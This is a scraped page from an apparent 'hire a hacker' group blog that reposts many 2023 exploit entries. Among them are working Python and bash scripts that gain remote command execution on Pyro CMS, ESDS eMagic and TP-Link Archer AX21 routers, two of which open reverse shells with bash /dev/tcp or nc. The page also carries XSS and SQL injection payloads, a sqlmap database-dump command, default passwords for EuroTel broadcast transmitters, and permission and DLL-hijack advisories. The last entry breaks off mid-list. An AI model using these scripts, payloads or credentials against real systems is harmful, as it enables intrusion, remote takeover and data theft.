Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863112541

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: admin@adm.com
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main()
HireHackking 
#!/bin/bash

# Exploit Title: Emagic Data Center Management Suite v6.0 - OS Command Injection
# Date: 03-08-2023
# Exploit Author: Shubham Pandey & thewhiteh4t
# Vendor Homepage: https://www.esds.co.in/enlight360
# Version: 6.0.0
# Tested on: Kali Linux
# CVE : CVE-2023-37569

URL=$1
LHOST=$2
LPORT=$3

echo "*****************************"
echo "*  ESDS eMagic 6.0.0 RCE    *"
echo "*  > CVE-2023-37569         *"
echo "*  > Shubham & thewhiteh4t  *"
echo "*****************************"

if [ $# -lt 3 ]; then
    echo """
USAGE :

./exploit.sh http://<IP> <LHOST> <LPORT>
./exploit.sh http://192.168.0.10 192.168.0.20 1337
"""
    exit 1
fi

url="$1/index.php/monitor/operations/utilities/"

echo "[+] URL   : $URL"
echo "[+] LHOST : $LHOST"
echo "[+] LPORT : $LPORT"
echo

payload="bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%27"

post_data="utility=ping&operations=yes&hostname=%3B%20$payload&param_before=&param_after=&probe_id=1&rndval=1682490204846"

echo "[!] Triggering exploit..."

echo $url

(sleep 3; curl -s -X POST -d $post_data $url > /dev/null) &

echo "[+] Catching shell..."
nc -lvp 4444
HireHackking 
# Exploit Title: Social-Commerce 3.1.6 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://social-commerce.moosocial.com/
# Version: 3.1.6
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4174


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /search/index

GET parameter 'q' is vulnerable to XSS

https://website/search/index?q=[XSS]


URL path folder [1,2] is vulnerable to XSS

https://website/stores[XSS]/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent

https://website/user_info[XSS]/index/friends

https://website/user_info/index[XSS]/friends

https://website/faqs[XSS]/index?content_search=

https://website/faqs/index[XSS]?content_search=



XSS Payloads:

j8chn"><img src=a onerror=alert(1)>ridxm


[-] Done
HireHackking 
# Exploit Title: mooSocial 3.1.8 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://travel.moosocial.com/
# Version: 3.1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4173


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



URL path folder is vulnerable to XSS

https://website/classifieds[XSS]/search?category=1

https://website/classifieds/search[XSS]?category=1


XSS Payloads:

ijz3y"><img src=a onerror=alert(1)>y4apk


[-] Done
HireHackking

PHPJabbers Vacation Rental Script 4.0 - CSRF

HACKER · %s · %s

# Exploit Title: PHPJabbers Vacation Rental Script 4.0 - CSRF # Date: 05/08/2023 # Exploit Author: Hasan Ali YILDIR # Vendor Homepage: https://www.phpjabbers.com/ # Software Link: https://www.phpjabbers.com/vacation-rental-script/ # Version: 4.0 # Tested on: Windows 10 Pro ## Description The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials Technical Detail / POC ========================== 1. Login Account 2. Go to Property Page (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate) 3. Edit Any Property (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21) [1] Cross-Site Request Forgery Request: https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="<script><font%20color="red">CSRF%20test</font> [2] Cross-Site Scripting (XSS) Request: https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="<script><image/src/onerror=prompt(8)>
HireHackking

TP-Link Archer AX21 - Unauthenticated Command Injection

HACKER · %s · %s

#!/usr/bin/python3 # # Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection # Date: 07/25/2023 # Exploit Author: Voyag3r (https://github.com/Voyag3r-Security) # Vendor Homepage: https://www.tp-link.com/us/ # Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389) # Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0 # CVE: CVE-2023-1389 # # Disclaimer: This script is intended to be used for educational purposes only. # Do not run this against any system that you do not have permission to test. # The author will not be held responsible for any use or damage caused by this # program. # # CVE-2023-1389 is an unauthenticated command injection vulnerability in the web # management interface of the TP-Link Archer AX21 (AX1800), specifically, in the # *country* parameter of the *write* callback for the *country* form at the # "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is # possible to run commands as root. Execution requires sending the request twice; # the first request sets the command in the *country* value, and the second request # (which can be identical or not) executes it. # # This script is a short proof of concept to obtain a reverse shell. To read more # about the development of this script, you can read the blog post here: # https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259e94 # Before running the script, start a nc listener on your preferred port -> run the script -> profit import requests, urllib.parse, argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning # Suppress warning for connecting to a router with a self-signed certificate requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Take user input for the router IP, and attacker IP and port parser = argparse.ArgumentParser() parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name") parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP") parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port") args = parser.parse_args() # Generate the reverse shell command with the attacker IP and port revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f") # URL to obtain the reverse shell url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")" # Send the URL twice to run the command. Sending twice is necessary for the attack r = requests.get(url_command, verify=False) r = requests.get(url_command, verify=False)
HireHackking

TSPlus 16.0.0.0 - Remote Work Insecure Credential storage

HACKER · %s · %s

# Exploit Title: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage # Date: 2023-08-09 # Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia # Vendor Homepage: https://tsplus.net/ # Version: Up to 16.0.0.0 # Tested on: Windows # CVE : CVE-2023-31069 With TSPlus Remote Work (v. 16.0.0.0) you can create a secure single sign-on web portal and remote desktop gateway that enables users to remotely access the console session of their office PC. It is possible to create a custom web portal login page which allows a user to login without providing their credentials. However, the credentials are stored in an insecure manner since they are saved in cleartext, within the html login page. This means that everyone with an access to the web login page, can easely retrieve the credentials to access to the application by simply looking at the html code page. This is a code snippet extracted by the source code of the login page (var user and var pass): // --------------- Access Configuration --------------- var user = "Admin"; // Login to use when connecting to the remote server (leave "" to use the login typed in this page) var pass = "SuperSecretPassword"; // Password to use when connecting to the remote server (leave "" to use the password typed in this page) var domain = ""; // Domain to use when connecting to the remote server (leave "" to use the domain typed in this page) var server = "127.0.0.1"; // Server to connect to (leave "" to use localhost and/or the server chosen in this page) var port = ""; // Port to connect to (leave "" to use localhost and/or the port of the server chosen in this page) var lang = "as_browser"; // Language to use var serverhtml5 = "127.0.0.1"; // Server to connect to, when using HTML5 client var porthtml5 = "3389"; // Port to connect to, when using HTML5 client var cmdline = ""; // Optional text that will be put in the server's clipboard once connected // --------------- End of Access Configuration ---------------
HireHackking

Dolibarr Version 17.0.1 - Stored XSS

HACKER · %s · %s

# Exploit Title: Dolibarr Version 17.0.1 - Stored XSS # Dork: # Date: 2023-08-09 # Exploit Author: Furkan Karaarslan # Category : Webapps # Vendor Homepage: http://127.0.0.1/dolibarr-17.0.1/htdocs/user/note.php # Version: 17.0.1 (REQUIRED) # Tested on: Windows/Linux # CVE : ----------------------------------------------------------------------------- Requests POST /dolibarr-17.0.1/htdocs/user/note.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 599 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/dolibarr-17.0.1/htdocs/user/note.php?action=editnote_public&token=4b1479ad024e82d298b395bfab9b1916&id=1 Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: 5c8ccd93504819395bd9eb83add769eb=g6sujc3ss8cj53cvk84qv0jgol; f758a1cd0925196cd7746824e3df122b=u04rsmdqgrdpr2kduo49gl0rmh; DOLSESSID_18109f368bbc82f2433d1d6c639db71bb97e2bd1=sud22bsu9sbqqc4bgcloki2eht Connection: close token=4b1479ad024e82d298b395bfab9b1916&action=setnote_public&token=4b1479ad024e82d298b395bfab9b1916&id=1&note_public=%3Ca+onscrollend%3Dalert%281%29+style%3D%22display%3Ablock%3Boverflow%3Aauto%3Bborder%3A1px+dashed%3Bwidth%3A500px%3Bheight%3A100px%3B%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cspan+id%3Dx%3Etest%3C%2Fspan%3E%3C%2Fa%3E&modify=De%C4%9Fi%C5%9Ftir
HireHackking

EuroTel ETL3100 - Transmitter Default Credentials

HACKER · %s · %s

#Exploit Title: EuroTel ETL3100 Transmitter Default Credentials # Exploit Author: LiquidWorm Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L Product web page: https://www.eurotel.it | https://www.siel.fm Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter) Summary: RF Technology For Television Broadcasting Applications. The Series ETL3100 Radio Transmitter provides all the necessary features defined by the FM and DAB standards. Two bands are provided to easily complain with analog and digital DAB standard. The Series ETL3100 Television Transmitter provides all the necessary features defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as well as the analog TV standards. Three band are provided to easily complain with all standard channels, and switch softly from analog-TV 'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission. Desc: The TV and FM transmitter uses a weak set of default administrative credentials that can be guessed in remote password attacks and gain full control of the system. Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3) lighttpd/1.4.26 PHP/5.4.3 Xilinx Virtex Machine Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5782 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5782.php 29.04.2023 -- Using Username "user" and Password "etl3100rt1234" the operator will enter in the WEB interface in a read-only mode. Using Username "operator" and Password "2euro21234" the operator will be able also to modify some parameters in the WEB pages.
HireHackking

EuroTel ETL3100 - Transmitter Authorization Bypass (IDOR)

HACKER · %s · %s

# Exploit Title: EuroTel ETL3100 - Transmitter Authorization Bypass (IDOR) # Exploit Author: LiquidWorm Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L Product web page: https://www.eurotel.it | https://www.siel.fm Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter) Summary: RF Technology For Television Broadcasting Applications. The Series ETL3100 Radio Transmitter provides all the necessary features defined by the FM and DAB standards. Two bands are provided to easily complain with analog and digital DAB standard. The Series ETL3100 Television Transmitter provides all the necessary features defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as well as the analog TV standards. Three band are provided to easily complain with all standard channels, and switch softly from analog-TV 'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission. Desc: The application is vulnerable to insecure direct object references that occur when the application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access the hidden resources on the system and execute privileged functionalities. Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3) lighttpd/1.4.26 PHP/5.4.3 Xilinx Virtex Machine Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5783 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5783.php 29.04.2023 -- See URL: TARGET/exciter.php?page=0 TARGET/exciter.php?page=1 TARGET/exciter.php?page=2 ... ... TARGET/exciter.php?page=29 TARGET/exciter.php?page=30 TARGET/exciter.php?page=31
HireHackking
# Exploit Title: PHPJabbers Business Directory Script v3.2 - Multiple Vulnerabilities # Date: 09/08/2023 # Exploit Author: Kerimcan Ozturk # Vendor Homepage: https://www.phpjabbers.com/ # Software Link: https://www.phpjabbers.com/business-directory-script/ # Version: 3.2 # Tested on: Windows 10 Pro ## Description Technical Detail / POC ========================== Login Account Go to Property Page ( https://website/index.php?controller=pjAdminListings&action=pjActionUpdate) Edit Any Property ( https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57 ) [1] Cross-Site Scripting (XSS) Request: https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57&locale=1&tab_id= "<script><image/src/onerror=prompt(8)> [2] Cross-Site Request Forgery Request: https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57&locale=1&tab_id= "<script><font%20color="green">Kerimcan%20Ozturk</font> Best Regards
HireHackking

Color Prediction Game v1.0 - SQL Injection

HACKER · %s · %s

# Exploit Title: Color Prediction Game v1.0 - SQL Injection # Date: 2023-08-12 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://www.codester.com/items/44411/color-prediction-game-php-script # Tested on: Kali Linux & MacOS # CVE: N/A ### Request ### POST /loginNow.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=250594265b833a4d3a7adf6e1c136fe2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------395879129218961020344050490865 Content-Length: 434 Origin: http://localhost Referer: http://localhost/login.php Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="login_mobile" 4334343433 -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="login_password" 123456 -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="action" login -----------------------------395879129218961020344050490865-- ### Parameter & Payloads ### Parameter: MULTIPART login_mobile ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="login_mobile" 4334343433' AND (SELECT 4472 FROM (SELECT(SLEEP(5)))UADa) AND 'PDLW'='PDLW -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="login_password" 123456 -----------------------------395879129218961020344050490865 Content-Disposition: form-data; name="action" login -----------------------------395879129218961020344050490865--
HireHackking

Taskhub CRM Tool 2.8.6 - SQL Injection

HACKER · %s · %s

# Exploit Title: Taskhub CRM Tool 2.8.6 - SQL Injection # Date: 2023-08-12 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874 # Tested on: Kali Linux & MacOS # CVE: N/A ### Request ### GET /projects?filter=notstarted HTTP/1.1 Host: localhost Cookie: csrf_cookie_name=a3e6a7d379a3e5f160d72c182ff8a8c8; ci_session=tgu03eoatvsonh7v986g1vj57b8sufh9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers Connection: close ### Parameter & Payloads ### Parameter: filter (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: filter=notstarted' AND 2978=2978 AND 'vMQO'='vMQO Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: filter=notstarted' AND EXTRACTVALUE(5313,CONCAT(0x5c,0x716a707a71,(SELECT (ELT(5313=5313,1))),0x71787a6b71)) AND 'ronQ'='ronQ
HireHackking
# Exploit Title: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated) # Google Dork: NA # Date: 19/08/2023 # Exploit Author: Ashutosh Singh Umath # Vendor Homepage: https://phpgurukul.com # Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/ # Version: 3.0 # Tested on: Windows 11 # CVE : Requested Proof Of Concept: 1. Navigate to the admin login page. URL: http://192.168.1.5/loginsystem/admin/ 2. Enter "*admin' -- -*" in the admin username field and anything random in the password field. 3. Now you successfully logged in as admin. 4. To download all the data from the database, use the below commands. 4.1. Login to the admin portal and capture the request. 4.2. Copy the intercepted request in a file. 4.3. Now use the below command to dump all the data Command: sqlmap -r <file-name> -p username -D loginsystem --dump-all Thanks and Regards, Ashutosh Singh Umath
HireHackking

Blood Donor Management System v1.0 - Stored XSS

HACKER · %s · %s

# Exploit Title: Blood Donor Management System v1.0 - Stored XSS # Application: Blood Donor Management System # Version: v1.0 # Bugs: Stored XSS # Technology: PHP # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/blood-donor-management-system-using-codeigniter/ # Date: 15.08.2023 # Author: Ehlullah Albayrak # Tested on: Windows #POC ======================================== 1. Login to user account 2. Go to Profile 3. Change "State" input and add "<script>alert("xss")</script>" payload. 4. Go to http://localhost/blood/welcome page and search "O", XSS will be triggered. #Payload: <script>alert("xss")</script>
HireHackking

OutSystems Service Studio 11.53.30 - DLL Hijacking

HACKER · %s · %s

# Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking # Date: 2023-08-09 # Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia # Vendor Homepage: https://www.outsystems.com/ # Version: Up to 11.53.30 (Build 61739) # Tested on: Windows # CVE : CVE-2022-47636 A DLL hijacking vulnerability has been discovered in OutSystems Service Studio 11 11.53.30 build 61739. When a user open a .oml file (OutSystems Modeling Language), the application will load the following DLLs from the same directory: av_libGLESv2.dll libcef.DLL user32.dll d3d10warp.dll Using a crafted DLL, it is possible to execute arbitrary code in the context of the current logged in user.
HireHackking
# Exploit Title: TSplus 16.0.2.14 - Remote Access Insecure Files and Folders Permissions # Date: 2023-08-09 # Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia # Vendor Homepage: https://tsplus.net/ # Version: Up to 16.0.2.14 # Tested on: Windows # CVE : CVE-2023-31067 TSplus Remote Access (v. 16.0.2.14) is an alternative to Citrix and Microsoft RDS for remote desktop access and Windows application delivery. Web-enable your legacy apps, create SaaS solutions or remotely access your centralized corporate tools and files. The TSplus Remote Access solution comes with an embedded web server to allow remote users to easely connect remotely. However, insecure file and folder permissions are set and this could allow a malicious user to manipulate file content (e.g.: changing the code of html pages or js scripts) or change legitimate files (e.g. Setup-VirtualPrinter-Client.exe) in order to compromise a system or to gain elevated privileges. This is the list of insecure files and folders with their respective permissions: Everyone:(OI)(CF)(F) and Everyone(F) Permission: Everyone:(OI)(CI)(F) C:\Program Files (x86)\TSplus\Clients\www C:\Program Files (x86)\TSplus\Clients\www\addons C:\Program Files (x86)\TSplus\Clients\www\ConnectionClient C:\Program Files (x86)\TSplus\Clients\www\downloads C:\Program Files (x86)\TSplus\Clients\www\prints C:\Program Files (x86)\TSplus\Clients\www\RemoteAppClient C:\Program Files (x86)\TSplus\Clients\www\software C:\Program Files (x86)\TSplus\Clients\www\var C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\remoteapp C:\Program Files (x86)\TSplus\Clients\www\downloads\shared C:\Program Files (x86)\TSplus\Clients\www\software\java C:\Program Files (x86)\TSplus\Clients\www\software\js C:\Program Files (x86)\TSplus\Clients\www\software\html5\jwres C:\Program Files (x86)\TSplus\Clients\www\software\html5\locales C:\Program Files (x86)\TSplus\Clients\www\software\html5\imgs\topmenu C:\Program Files (x86)\TSplus\Clients\www\software\html5\imgs\key\parts C:\Program Files (x86)\TSplus\Clients\www\software\java\img C:\Program Files (x86)\TSplus\Clients\www\software\java\third C:\Program Files (x86)\TSplus\Clients\www\software\java\img\cp C:\Program Files (x86)\TSplus\Clients\www\software\java\img\srv C:\Program Files (x86)\TSplus\Clients\www\software\java\third\images C:\Program Files (x86)\TSplus\Clients\www\software\java\third\js C:\Program Files (x86)\TSplus\Clients\www\software\java\third\images\bramus C:\Program Files (x86)\TSplus\Clients\www\software\java\third\js\prototype C:\Program Files (x86)\TSplus\Clients\www\var\log C:\Program Files (x86)\TSplus\UserDesktop\themes C:\Program Files (x86)\TSplus\UserDesktop\themes\BlueBar C:\Program Files (x86)\TSplus\UserDesktop\themes\Default C:\Program Files (x86)\TSplus\UserDesktop\themes\GreyBar C:\Program Files (x86)\TSplus\UserDesktop\themes\Logon C:\Program Files (x86)\TSplus\UserDesktop\themes\MenuOnTop C:\Program Files (x86)\TSplus\UserDesktop\themes\Seamless C:\Program Files (x86)\TSplus\UserDesktop\themes\ThinClient C:\Program Files (x86)\TSplus\UserDesktop\themes\Vista ------------------------------------------------------------------------------ Permission: Everyone:(F) C:\Program Files (x86)\TSplus\Clients\www\all.min.css C:\Program Files (x86)\TSplus\Clients\www\custom.css C:\Program Files (x86)\TSplus\Clients\www\popins.css C:\Program Files (x86)\TSplus\Clients\www\robots.txt C:\Program Files (x86)\TSplus\Clients\www\addons\Setup-VirtualPrinter-Client.exe C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\hb.exe.config C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\SessionPrelaunch.Common.dll.config C:\Program Files (x86)\TSplus\Clients\www\cgi-bin\remoteapp\index.html C:\Program Files (x86)\TSplus\Clients\www\RemoteAppClient\index.html C:\Program Files (x86)\TSplus\Clients\www\software\common.css C:\Program Files (x86)\TSplus\Clients\www\software\html5\jwres\jwwebsockify.jar C:\Program Files (x86)\TSplus\Clients\www\software\html5\jwres\web.jar C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\exitlist.html C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\exitupload.html C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\getlist.html C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\getupload.html C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\postupload.html C:\Program Files (x86)\TSplus\Clients\www\software\html5\own\uploaderr.html C:\Program Files (x86)\TSplus\Clients\www\software\java\index.html C:\Program Files (x86)\TSplus\Clients\www\software\java\img\index.html C:\Program Files (x86)\TSplus\Clients\www\software\java\img\port.bin C:\Program Files (x86)\TSplus\Clients\www\software\java\third\jws.js C:\Program Files (x86)\TSplus\Clients\www\software\java\third\sha256.js C:\Program Files (x86)\TSplus\Clients\www\software\java\third\js\prototype\prototype.js C:\Program Files (x86)\TSplus\Clients\www\software\js\jquery.min.js
HireHackking

TSplus 16.0.0.0 - Remote Work Insecure Files and Folders

HACKER · %s · %s

# Exploit Title: TSplus 16.0.0.0 - Remote Work Insecure Files and Folders Permissions # Date: 2023-08-09 # Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia # Vendor Homepage: https://tsplus.net/ # Version: Up to 16.0.0.0 # Tested on: Windows # CVE : CVE-2023-31068 With TSPlus Remote Work (v. 16.0.0.0) you can create a secure single sign-on web portal and remote desktop gateway that enables users to remotely access the console session of their office PC. The solution comes with an embedded web server to allow remote users to easely connect remotely. However, insecure file and folder permissions are set, and this could allow a malicious user to manipulate file content (e.g.: changing the code of html pages or js scripts) or change legitimate files (e.g. Setup-RemoteWork-Client.exe) in order to compromise a system or to gain elevated privileges. This is the list of insecure files and folders with their respective permissions: Permission: Everyone:(OI)(CI)(F) C:\Program Files (x86)\TSplus-RemoteWork\Clients\www C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\cgi-bin C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\download C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\downloads C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\prints C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\var C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\cgi-bin\remoteapp C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\downloads\shared C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5 C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\imgs C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\jwres C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\locales C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\own C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\imgs\des C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\imgs\key C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\imgs\topmenu C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\imgs\key\parts C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\img C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\img\cp C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\img\srv C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\images C:\Program Files 